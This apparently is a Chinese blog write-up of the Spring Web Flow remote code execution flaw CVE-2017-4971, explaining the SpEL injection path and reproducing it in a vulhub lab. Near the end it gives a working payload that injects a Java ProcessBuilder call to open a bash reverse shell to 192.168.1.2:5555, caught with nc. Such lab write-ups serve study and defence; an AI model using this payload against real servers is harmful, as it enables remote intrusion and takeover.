Spring Web Flow框架远程代码执行(CVE-2017-4971)漏洞,是由于Spring Web Flow的数据绑定问题带来的表达式注入,从而导致任意代码执行。
影响版本
2.4.0-2.4.4、Older unsupported versions are also affected
漏洞分析
view对象处理用户事件,会根据HTTP参数绑定相应的model

如果model没有设置BinderConfiguration, 则会调用addDefaultMappings函数

进一步查看addDefaultMappings函数,可以发现输入参数以fieldMarkerPrefix(“_”)开头,则会调用addEmptyValueMapping函数

若useSpringBeanBinding参数设置为false,则 expressionParser将设置为SpelExpressionParser对象的实例,而不是BeanWrapperExpressionParser对象的实例。当调用getValueType函数时,SpelExpressionParser对象将执行表达式,触发任意代码执行

漏洞复现
首先进入CVE-2017-4971的docker环境

点击登录

这里列出了一些登录账户,这里随便使用一个登录即可

登录之后显示如下界面

然后访问http://192.168.1.10:8080/hotels/1,点击Book Hotel

这里要把信用卡和名字都填一下,然后点击Proceed

进入如下页面,此处用bp抓包

bp抓包如下所示

这里构造一个bash反弹的payload
&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.1.2/5555 0>%261")).start()=vulhub
打开nc监听端口

把构造的payload放入抓到的包里发送

即可收到反弹shell







![XCTF:Hidden-Message[WriteUP]](https://img-blog.csdnimg.cn/direct/760c4bec007c44828005829c17470f0a.png)
![[python]pyside6安装和在pycharm配置](https://img-blog.csdnimg.cn/direct/877509476c884ab8823593ba7c5c1e58.png)











